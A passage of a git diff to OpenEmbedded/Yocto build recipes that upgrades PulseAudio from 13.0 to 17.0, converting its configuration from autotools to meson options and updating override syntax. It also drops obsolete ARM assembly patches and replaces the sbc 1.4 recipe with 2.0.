-# section 3, and therefore libdbus's GPL license doesn't affect PulseAudio.
-LICENSE = "LGPLv2.1+ & MIT & BSD-3-Clause"
+# applications that use libpulse? It should also be noted that libdbus is
+# dual-licensed: either GPL-2.0-or-later or AFL-2.0 terms apply. Whose decision
+# is it which of the licenses apply? What a mess. Some people hold the view that
+# libdbus is a system library that is covered by the "special exception" in
+# GPLv2's section 3, and therefore libdbus's GPL license doesn't affect
+# PulseAudio.
+LICENSE = "LGPL-2.1-or-later & MIT & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=0e5cd938de1a7a53ea5adac38cc10c39 \
file://GPL;md5=4325afd396febcb659c36b49533135d4 \
@@ -56,47 +59,47 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=0e5cd938de1a7a53ea5adac38cc10c39 \
file://src/pulsecore/filter/biquad.h;beginline=1;endline=4;md5=6d46d1365206528a20137355924233c1 \
"
-DEPENDS = "libatomic-ops libsndfile1 libtool"
+# libtool is needed for libltdl, used in module loading.
+DEPENDS = "m4-native libatomic-ops libsndfile1 libtool"
# optional
DEPENDS += "udev alsa-lib glib-2.0"
DEPENDS += "speexdsp libxml-parser-perl-native libcap"
-inherit autotools bash-completion pkgconfig useradd gettext perlnative systemd manpages gsettings
+inherit bash-completion meson pkgconfig useradd gettext perlnative systemd manpages gsettings
# *.desktop rules wont be generated during configure and build will fail
# if using --disable-nls
USE_NLS = "yes"
-EXTRA_OECONF = "\
- --disable-hal-compat \
- --disable-orc \
- --enable-tcpwrap=no \
- --with-access-group=audio \
- --disable-openssl \
- --with-database=simple \
- --without-zsh-completion-dir \
- --with-udev-rules-dir=`pkg-config --variable=udevdir udev`/rules.d \
- ac_cv_header_valgrind_memcheck_h=no \
- --disable-tests \
- --disable-running-from-build-tree \
+EXTRA_OEMESON = "\
+ -Dhal-compat=false \
+ -Dorc=disabled \
+ -Daccess_group=audio \
+ -Dopenssl=disabled \
+ -Ddatabase=simple \
+ -Dzshcompletiondir=no \
+ -Dudevrulesdir=`pkg-config --variable=udevdir udev`/rules.d \
+ -Dvalgrind=disabled \
+ -Dtests=false \
+ -Drunning-from-build-tree=false \
"
# soxr (the SoX Resampler library) doesn't seem to be currently packaged in
# oe-core nor meta-oe, so let's not add a PACKAGECONFIG entry for it for now.
-EXTRA_OECONF += "--without-soxr"
+EXTRA_OEMESON += "-Dsoxr=disabled"
# The FFTW dependency (for module-equalizer-sink) was removed in commit
# ddbd713293 without explaining why it was not made a PACKAGECONFIG item
# instead. Oh well, let's keep it disabled until someone expresses some
# interest in having it enabled.
-EXTRA_OECONF += "--without-fftw"
+EXTRA_OEMESON += "-Dfftw=disabled"
# The "adrian" echo canceller implementation has a non-standard license
# (src/modules/echo-cancel/adrian-license.txt). It's a permissive license, so
# the licensing terms are probably not problematic, but it would be an extra
# hassle to add the license to OE-Core's set of licenses. The canceller isn't
# very good anyway, better alternatives exist (such as the webrtc canceller).
-EXTRA_OECONF += "--disable-adrian-aec"
+EXTRA_OEMESON += "-Dadrian-aec=false"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
@@ -105,35 +108,25 @@ PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5'
dbus gsettings \
"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
-PACKAGECONFIG[bluez5] = "--enable-bluez5,--disable-bluez5,bluez5 sbc"
-PACKAGECONFIG[gconf] = "--enable-gconf,--disable-gconf,gconf"
-PACKAGECONFIG[gsettings] = "--enable-gsettings,--disable-gsettings,glib-2.0-native glib-2.0"
-PACKAGECONFIG[ofono] = "--enable-bluez5-ofono-headset,--disable-bluez5-ofono-headset,ofono"
-PACKAGECONFIG[gtk] = "--enable-gtk3,--disable-gtk3,gtk+3"
-PACKAGECONFIG[systemd] = "--enable-systemd-daemon --enable-systemd-login --enable-systemd-journal --with-systemduserunitdir=${systemd_user_unitdir},--disable-systemd-daemon --disable-systemd-login --disable-systemd-journal,systemd"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11 libxtst libice libsm libxcb"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
+PACKAGECONFIG[dbus] = "-Ddbus=enabled,-Ddbus=disabled,dbus"
+PACKAGECONFIG[bluez5] = "-Dbluez5=enabled,-Dbluez5=disabled,bluez5 sbc"
+PACKAGECONFIG[gsettings] = "-Dgsettings=enabled,-Dgsettings=disabled,glib-2.0-native glib-2.0"
+PACKAGECONFIG[ofono] = "-Dbluez5-ofono-headset=true,-Dbluez5-ofono-headset=false,ofono"
+PACKAGECONFIG[gtk] = "-Dgtk=enabled,-Dgtk=disabled,gtk+3"
+PACKAGECONFIG[systemd] = "-Dsystemd=enabled -Dsystemduserunitdir=${systemd_user_unitdir},-Dsystemd=disabled,systemd"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,virtual/libx11 libxtst libice libsm libxcb"
+PACKAGECONFIG[avahi] = "-Davahi=enabled,-Davahi=disabled,avahi"
+PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
# Since many embedded systems don't have non-root users, it's useful to be
# able to use pulseaudio autospawn for root as well.
PACKAGECONFIG[autospawn-for-root] = ",,,"
-PACKAGECONFIG[lirc] = "--enable-lirc,--disable-lirc,lirc"
-PACKAGECONFIG[webrtc] = "--enable-webrtc-aec,--disable-webrtc-aec,webrtc-audio-processing"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, "
-
-EXTRA_OECONF_append_arm = "${@bb.utils.contains("TUNE_FEATURES", "neon", "", " --enable-neon-opt=no", d)}"
-EXTRA_OECONF_append_armeb = "${@bb.utils.contains("TUNE_FEATURES", "neon", "", " --enable-neon-opt=no", d)}"
-
+PACKAGECONFIG[lirc] = "-Dlirc=enabled,-Dlirc=disabled,lirc"
+PACKAGECONFIG[webrtc] = "-Dwebrtc-aec=enabled,-Dwebrtc-aec=disabled,webrtc-audio-processing"
+PACKAGECONFIG[ipv6] = "-Dipv6=true,-Dipv6=false,"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,"
export TARGET_PFPU = "${TARGET_FPU}"
-# TODO: Use more fine granular version
-#OE_LT_RPATH_ALLOW=":${libdir}/pulse-0.9:"
-OE_LT_RPATH_ALLOW = "any"
-OE_LT_RPATH_ALLOW[export]="1"
-
set_cfg_value () {
sed -i -e "s/\(; *\)\?$2 =.*/$2 = $3/" "$1"
if ! grep -q "^$2 = $3\$" "$1"; then
@@ -141,20 +134,20 @@ set_cfg_value () {
fi
}
-do_compile_append () {
+do_compile:append () {
if ${@bb.utils.contains('PACKAGECONFIG', 'autospawn-for-root', 'true', 'false', d)}; then
- set_cfg_value src/client.conf allow-autospawn-for-root yes
+ set_cfg_value src/pulse/client.conf allow-autospawn-for-root yes
fi
}
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/volatiles.04_pulse ${D}${sysconfdir}/default/volatiles/volatiles.04_pulse
+ install -m 0644 ${WORKDIR}/volatiles.04_pulse ${D}${sysconfdir}/default/volatiles/04_pulse
}
USERADD_PACKAGES = "pulseaudio-server"
-GROUPADD_PARAM_pulseaudio-server = "--system pulse"
-USERADD_PARAM_pulseaudio-server = "--system --home /var/run/pulse \
+GROUPADD_PARAM:pulseaudio-server = "--system pulse"
+USERADD_PARAM:pulseaudio-server = "--system --home /var/run/pulse \
--no-create-home --shell /bin/false \
--groups audio,pulse --gid pulse pulse"
@@ -176,58 +169,58 @@ PACKAGES =+ "\
PACKAGES =+ "${@bb.utils.contains('PACKAGECONFIG', 'dbus', 'pulseaudio-module-console-kit', '', d)}"
#upgrade path:
-RREPLACES_pulseaudio-server = "libpulse-bin libpulse-conf"
+RREPLACES:pulseaudio-server = "libpulse-bin libpulse-conf"
PACKAGES_DYNAMIC += "^pulseaudio-lib-.* ^pulseaudio-module-.*"
-FILES_libpulsecore = "${libdir}/pulseaudio/libpulsecore*.so"
-FILES_libpulsecommon = "${libdir}/pulseaudio/libpulsecommon*.so"
+FILES:libpulsecore = "${libdir}/pulseaudio/libpulsecore*.so"
+FILES:libpulsecommon = "${libdir}/pulseaudio/libpulsecommon*.so"
# client.conf configures the behaviour of libpulse, so it belongs in the same
# package.
-FILES_libpulse = "${libdir}/libpulse.so.* ${sysconfdir}/pulse/client.conf"
+FILES:libpulse = "${libdir}/libpulse.so.* ${sysconfdir}/pulse/client.conf"
-FILES_libpulse-simple = "${libdir}/libpulse-simple.so.*"
-FILES_libpulse-mainloop-glib = "${libdir}/libpulse-mainloop-glib.so.*"
+FILES:libpulse-simple = "${libdir}/libpulse-simple.so.*"
+FILES:libpulse-mainloop-glib = "${libdir}/libpulse-mainloop-glib.so.*"
-FILES_${PN}-dev += "${libdir}/pulse-${PV}/modules/*.la ${datadir}/vala ${libdir}/cmake"
-FILES_${PN}-conf = "${sysconfdir}"
-FILES_${PN}-bin += "${sysconfdir}/default/volatiles/volatiles.04_pulse"
-FILES_${PN}-pa-info = "${bindir}/pa-info"
-FILES_${PN}-server = "${bindir}/pulseaudio ${bindir}/start-* ${sysconfdir} ${bindir}/pactl */udev/rules.d/*.rules */*/udev/rules.d/*.rules ${systemd_user_unitdir}/*"
+FILES:${PN}-dev += "${libdir}/pulse-${PV}/modules/*.la ${datadir}/vala"
+FILES:${PN}-bin += "${sysconfdir}/default/volatiles/04_pulse"
+FILES:${PN}-pa-info = "${bindir}/pa-info"
+FILES:${PN}-server = "${bindir}/pulseaudio ${bindir}/start-* ${sysconfdir} ${bindir}/pactl */udev/rules.d/*.rules */*/udev/rules.d/*.rules ${systemd_user_unitdir}/*"
+FILES:${PN}-server += "${datadir}/dbus-1/system.d/pulseaudio-system.conf"
#SYSTEMD_PACKAGES = "${PN}-server"
-SYSTEMD_SERVICE_${PN}-server = "pulseaudio.service"
+SYSTEMD_SERVICE:${PN}-server = "pulseaudio.service"
-FILES_${PN}-misc = "${bindir}/* ${libdir}/pulseaudio/libpulsedsp.so"
+FILES:${PN}-misc = "${bindir}/* ${libdir}/pulseaudio/libpulsedsp.so"
# Allow the pulseaudio package to be created empty as a placeholder (-dbg and -dev depend on it)
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
-CONFFILES_libpulse = "${sysconfdir}/pulse/client.conf"
+CONFFILES:libpulse = "${sysconfdir}/pulse/client.conf"
-CONFFILES_pulseaudio-server = "\
+CONFFILES:pulseaudio-server = "\
${sysconfdir}/pulse/default.pa \
${sysconfdir}/pulse/daemon.conf \
${sysconfdir}/pulse/system.pa \
"
-pkg_postinst_${PN}-server() {
+pkg_postinst:${PN}-server() {
if [ -z "$D" ] && [ -e ${sysconfdir}/init.d/populate-volatile.sh ] ; then
${sysconfdir}/init.d/populate-volatile.sh update
fi
}
-python populate_packages_prepend() {
- plugindir = d.expand('${libdir}/pulse-${PV}/modules/')
+python populate_packages:prepend() {
+ plugindir = d.expand('${libdir}/pulseaudio/modules/')
do_split_packages(d, plugindir, r'^module-(.*)\.so$', '${PN}-module-%s', 'PulseAudio module for %s', extra_depends='', prepend=True)
do_split_packages(d, plugindir, r'^lib(.*)\.so$', '${PN}-lib-%s', 'PulseAudio library for %s', extra_depends='', prepend=True)
}
# pa-info is a bash script that collects information about the audio setup.
# It's primarily useful for attaching an information dump when reporting bugs.
-RDEPENDS_${PN}-pa-info = "\
+RDEPENDS:${PN}-pa-info = "\
alsa-utils-amixer \
alsa-utils-aplay \
alsa-utils-scripts \
@@ -235,7 +228,7 @@ RDEPENDS_${PN}-pa-info = "\
${PN}-server \
"
-RDEPENDS_pulseaudio-server = " \
+RDEPENDS:pulseaudio-server = " \
pulseaudio-module-filter-apply \
pulseaudio-module-filter-heuristics \
pulseaudio-module-udev-detect \
@@ -261,24 +254,23 @@ RDEPENDS_pulseaudio-server = " \
# If the server is installed, it's usually desirable to make ALSA applications
# use PulseAudio. alsa-plugins-pulseaudio-conf will install the configuration
# that makes the PulseAudio plugin the default ALSA device.
-RDEPENDS_pulseaudio-server += "alsa-plugins-pulseaudio-conf"
+RDEPENDS:pulseaudio-server += "${@bb.utils.contains('DISTRO_FEATURES', 'pulseaudio', 'alsa-plugins-pulseaudio-conf', '', d)}"
# pulseaudio-module-console-kit is built whenever dbus is enabled by PACKAGECONFIG
# but consolekit depends on libx11 and is available only for DISTRO with x11 in DISTRO_FEATURES
-RDEPENDS_pulseaudio-module-console-kit =+ "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'consolekit', '', d)}"
-RDEPENDS_pulseaudio-misc += "pulseaudio-module-cli-protocol-unix"
+RDEPENDS:pulseaudio-module-console-kit =+ "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit x11', 'consolekit', '', d)}"
+RDEPENDS:pulseaudio-misc += "pulseaudio-module-cli-protocol-unix"
-FILES_${PN}-module-alsa-card += "${datadir}/pulseaudio/alsa-mixer"
-FILES_${PN}-module-gconf += "${libexecdir}/pulse/gconf-helper"
+FILES:${PN}-module-alsa-card += "${datadir}/pulseaudio/alsa-mixer"
GSETTINGS_PACKAGE = "${@bb.utils.contains('PACKAGECONFIG', 'gsettings', '${PN}-module-gsettings', '', d)}"
-FILES_${PN}-module-gsettings += "${libexecdir}/pulse/gsettings-helper ${datadir}/GConf/gsettings ${datadir}/glib-2.0/schemas"
+FILES:${PN}-module-gsettings += "${libexecdir}/pulse/gsettings-helper ${datadir}/GConf/gsettings ${datadir}/glib-2.0/schemas"
# The console-kit module is good to have on X11 systems (it keeps PulseAudio
# running for the duration of the user login session). The device-manager and
# x11-* modules are referenced from the start-pulseaudio-x11 script, so those
# modules must be installed when X11 is enabled.
-RDEPENDS_pulseaudio-server += "\
+RDEPENDS:pulseaudio-server += "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', '\
pulseaudio-module-device-manager \
pulseaudio-module-x11-cork-request \
@@ -286,6 +278,6 @@ RDEPENDS_pulseaudio-server += "\
pulseaudio-module-x11-xsmp \
', '', d)}"
-RDEPENDS_pulseaudio-server += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', \
+RDEPENDS:pulseaudio-server += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', \
bb.utils.contains('DISTRO_FEATURES', 'systemd', 'pulseaudio-module-systemd-login', 'pulseaudio-module-console-kit', d), \
'', d)}"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch
new file mode 100644
index 0000000000..b1a43bd7f0
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch
@@ -0,0 +1,26 @@
+From 4ee244d0824e772ab35abb0f9df5e8088e16fc5d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 26 Apr 2021 19:30:40 +0200
+Subject: [PATCH] doxygen/meson.build: remove dependency on doxygen binary
+
+New meson refuses to complete confuguration if doxygen is absent
+even if this target is never actually run. As we never run it,
+let's remove it, until upstream and/or meson figure out that it's
+optional and should be treated as such.
+
+Upstream-Status: Inappropriate [needs proper upstream fix]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ doxygen/meson.build | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/doxygen/meson.build b/doxygen/meson.build
+index afc0e49..df55c83 100644
+--- a/doxygen/meson.build
++++ b/doxygen/meson.build
+@@ -6,5 +6,3 @@ doxygen_conf = configure_file(
+ configuration : cdata,
+ )
+
+-run_target('doxygen',
+- command : ['doxygen', doxygen_conf])
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch
deleted file mode 100644
index 95133fd9d4..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap-arm-Adjust-inline-asm-constraints.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-From 3450d1fcfe8a8f84553ab299cd96ae0705ddffbe Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 5 Mar 2020 11:48:28 -0800
-Subject: [PATCH] remap/arm: Adjust inline asm constraints
-
-gcc10 can effectively emit single precision registers if right
-operand modifier constraint is not in use
-
-This results in assembler rejecting the code
-
-/tmp/ccEG4QpI.s:646: Error: VFP/Neon double precision register expected -- `vtbl.8 d3,{d0,d1},s8'
-/tmp/ccEG4QpI.s:678: Error: invalid instruction shape -- `vmul.f32 d0,d0,s8'
-
-Therefore add %P qualifier to request double registers sinece 'w' could
-mean variable could be stored in s0..s14 and GCC defaults to printing out s0..s14.
-Note those registers map to d0..d7 also.
-
-Output generated is exactly same with gcc9, and it also now compiles
-with gcc10
-
-Its not documented well in gcc docs and there is a ticket for that
-https://gcc.gnu.org/bugzilla/show_bug.cgi?id=84343
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/261]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/pulsecore/remap_neon.c | 22 +++++++++++-----------
- 1 file changed, 11 insertions(+), 11 deletions(-)
-
-diff --git a/src/pulsecore/remap_neon.c b/src/pulsecore/remap_neon.c
-index 41208986d..ca3b95b48 100644
---- a/src/pulsecore/remap_neon.c
-+++ b/src/pulsecore/remap_neon.c
-@@ -189,7 +189,7 @@ static void remap_ch4_to_mono_float32ne_neon(pa_remap_t *m, float *dst, const fl
- "vadd.f32 d0, d0, d1 \n\t"
- "vadd.f32 d2, d2, d3 \n\t"
- "vadd.f32 d0, d0, d2 \n\t"
-- "vmul.f32 d0, d0, %[quart] \n\t"
-+ "vmul.f32 d0, d0, %P[quart] \n\t"
- "vst1.32 {d0}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [quart] "w" (quart) /* input operands */
-@@ -276,7 +276,7 @@ static void remap_arrange_stereo_s16ne_neon(pa_remap_t *m, int16_t *dst, const i
- for (; n >= 2; n -= 2) {
- __asm__ __volatile__ (
- "vld1.s16 d0, [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.s16 d0, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -287,7 +287,7 @@ static void remap_arrange_stereo_s16ne_neon(pa_remap_t *m, int16_t *dst, const i
- if (n > 0) {
- __asm__ __volatile__ (
- "vld1.32 d0[0], [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.32 d0[0], [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -302,8 +302,8 @@ static void remap_arrange_ch2_ch4_s16ne_neon(pa_remap_t *m, int16_t *dst, const
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.32 d0[0], [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-- "vst1.s16 d0, [%[dst]]! \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
-+ "vst1.s16 d0, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
- : "memory", "d0" /* clobber list */
-@@ -317,7 +317,7 @@ static void remap_arrange_ch4_s16ne_neon(pa_remap_t *m, int16_t *dst, const int1
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.s16 d0, [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.s16 d0, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -332,7 +332,7 @@ static void remap_arrange_stereo_float32ne_neon(pa_remap_t *m, float *dst, const
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.f32 d0, [%[src]]! \n\t"
-- "vtbl.8 d0, {d0}, %[t] \n\t"
-+ "vtbl.8 d0, {d0}, %P[t] \n\t"
- "vst1.s16 {d0}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t] "w" (t) /* input operands */
-@@ -349,8 +349,8 @@ static void remap_arrange_ch2_ch4_any32ne_neon(pa_remap_t *m, float *dst, const
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.f32 d0, [%[src]]! \n\t"
-- "vtbl.8 d1, {d0}, %[t0] \n\t"
-- "vtbl.8 d2, {d0}, %[t1] \n\t"
-+ "vtbl.8 d1, {d0}, %P[t0] \n\t"
-+ "vtbl.8 d2, {d0}, %P[t1] \n\t"
- "vst1.s16 {d1,d2}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t0] "w" (t0), [t1] "w" (t1) /* input operands */
-@@ -366,8 +366,8 @@ static void remap_arrange_ch4_float32ne_neon(pa_remap_t *m, float *dst, const fl
- for (; n > 0; n--) {
- __asm__ __volatile__ (
- "vld1.f32 {d0,d1}, [%[src]]! \n\t"
-- "vtbl.8 d2, {d0,d1}, %[t0] \n\t"
-- "vtbl.8 d3, {d0,d1}, %[t1] \n\t"
-+ "vtbl.8 d2, {d0,d1}, %P[t0] \n\t"
-+ "vtbl.8 d3, {d0,d1}, %P[t1] \n\t"
- "vst1.s16 {d2,d3}, [%[dst]]! \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : [t0] "w" (t0), [t1] "w" (t1) /* input operands */
---
-2.25.1
-
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch
deleted file mode 100644
index aaa162f9b0..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0001-remap_neon-use-register-r12-instead-of-r7.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 4a1668f341f0228904105f77fe5871b9d59b2663 Mon Sep 17 00:00:00 2001
-From: Tanu Kaskinen <tanuk@iki.fi>
-Date: Mon, 13 Jul 2020 12:42:14 +0300
-Subject: [PATCH] remap_neon: use register r12 instead of r7
-
-When the Thumb instructions set is used and frame pointers are enabled
-(-fno-omit-frame-pointer), r7 can't be used, because it's used for the
-frame pointer. Trying to use r7 caused the compilation to fail.
-
-Thanks to Andre McCurdy for suggesting[1] this fix, all I had to do was to
-test that it works. The code builds now, and cpu-remap-test also
-succeeds.
-
-[1] https://lists.openembedded.org/g/openembedded-core/message/136786
-
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/merge_requests/324]
-
-Signed-off-by: Tanu Kaskinen <tanuk@iki.fi>
----
- src/pulsecore/remap_neon.c | 10 +++++++---
- 1 file changed, 7 insertions(+), 3 deletions(-)
-
-diff --git a/src/pulsecore/remap_neon.c b/src/pulsecore/remap_neon.c
-index ca3b95b48..6f71345f8 100644
---- a/src/pulsecore/remap_neon.c
-+++ b/src/pulsecore/remap_neon.c
-@@ -52,11 +52,15 @@ static void remap_mono_to_stereo_float32ne_generic_arm(pa_remap_t *m, float *dst
- __asm__ __volatile__ (
- "ldm %[src]!, {r4,r6} \n\t"
- "mov r5, r4 \n\t"
-- "mov r7, r6 \n\t"
-- "stm %[dst]!, {r4-r7} \n\t"
-+
-+ /* We use r12 instead of r7 here, because r7 is reserved for the
-+ * frame pointer when using Thumb. */
-+ "mov r12, r6 \n\t"
-+
-+ "stm %[dst]!, {r4-r6,r12} \n\t"
- : [dst] "+r" (dst), [src] "+r" (src) /* output operands */
- : /* input operands */
-- : "memory", "r4", "r5", "r6", "r7" /* clobber list */
-+ : "memory", "r4", "r5", "r6", "r12" /* clobber list */
- );
- }
-
---
-2.20.1
-
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch b/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
index 43add75db4..48f0492177 100644
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio/0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch
@@ -13,18 +13,18 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/daemon/main.c b/src/daemon/main.c
-index c80fa94..75496be 100644
+index 30ef499..5c3abf0 100644
--- a/src/daemon/main.c
+++ b/src/daemon/main.c
-@@ -908,7 +908,7 @@ int main(int argc, char *argv[]) {
+@@ -916,7 +916,7 @@ int main(int argc, char *argv[]) {
+ pa_set_env_and_record("PULSE_SYSTEM", conf->system_instance ? "1" : "0");
pa_log_info("This is PulseAudio %s", PACKAGE_VERSION);
- pa_log_debug("Compilation host: %s", CANONICAL_HOST);
- pa_log_debug("Compilation CFLAGS: %s", PA_CFLAGS);
+ pa_log_debug("Compilation CFLAGS: ***");
#ifdef HAVE_LIBSAMPLERATE
pa_log_warn("Compiled with DEPRECATED libsamplerate support!");
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb b/meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb
deleted file mode 100644
index 53e9a2357d..0000000000
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio_13.0.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require pulseaudio.inc
-
-SRC_URI = "http://freedesktop.org/software/pulseaudio/releases/${BP}.tar.xz \
- file://0001-client-conf-Add-allow-autospawn-for-root.patch \
- file://0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch \
- file://0001-remap-arm-Adjust-inline-asm-constraints.patch \
- file://0001-remap_neon-use-register-r12-instead-of-r7.patch \
- file://volatiles.04_pulse \
- "
-SRC_URI[md5sum] = "e41d606f90254ed45c90520faf83d95c"
-SRC_URI[sha256sum] = "961b23ca1acfd28f2bc87414c27bb40e12436efcf2158d29721b1e89f3f28057"
-UPSTREAM_CHECK_REGEX = "pulseaudio-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio_17.0.bb b/meta/recipes-multimedia/pulseaudio/pulseaudio_17.0.bb
new file mode 100644
index 0000000000..54c79b4097
--- /dev/null
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio_17.0.bb
@@ -0,0 +1,10 @@
+require pulseaudio.inc
+
+SRC_URI = "http://freedesktop.org/software/pulseaudio/releases/${BP}.tar.xz \
+ file://0001-client-conf-Add-allow-autospawn-for-root.patch \
+ file://0002-do-not-display-CLFAGS-to-improve-reproducibility-bui.patch \
+ file://volatiles.04_pulse \
+ file://0001-doxygen-meson.build-remove-dependency-on-doxygen-bin.patch \
+ "
+SRC_URI[sha256sum] = "053794d6671a3e397d849e478a80b82a63cb9d8ca296bd35b73317bb5ceb87b5"
+UPSTREAM_CHECK_REGEX = "pulseaudio-(?P<pver>\d+(\.(?!99)\d+)+)\.tar"
diff --git a/meta/recipes-multimedia/sbc/sbc_1.4.bb b/meta/recipes-multimedia/sbc/sbc_1.4.bb
deleted file mode 100644
index 674d77ef48..0000000000
--- a/meta/recipes-multimedia/sbc/sbc_1.4.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "SBC Audio Codec"
-DESCRIPTION = "Bluetooth low-complexity, subband codec (SBC) library."
-HOMEPAGE = "https://www.bluez.org"
-SECTION = "libs"
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-examples = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
- file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
- file://src/sbcenc.c;beginline=1;endline=24;md5=08e7a70b127f4100ff2cd7d629147d8d \
- file://sbc/sbc.h;beginline=1;endline=26;md5=0f57d0df22b0d40746bdd29805a4361b"
-
-DEPENDS = "libsndfile1"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/${BP}.tar.xz"
-
-SRC_URI[md5sum] = "800fb0908899baa48dc216d8e156cc05"
-SRC_URI[sha256sum] = "518bf46e6bb3dc808a95e1eabad26fdebe8a099c1e781c27ed7fca6c2f4a54c9"
-
-inherit autotools pkgconfig
-
-PACKAGES =+ "${PN}-examples"
-FILES_${PN}-examples += "${bindir}/*"
diff --git a/meta/recipes-multimedia/sbc/sbc_2.0.bb b/meta/recipes-multimedia/sbc/sbc_2.0.bb
new file mode 100644
index 0000000000..d25be9e80c
--- /dev/null
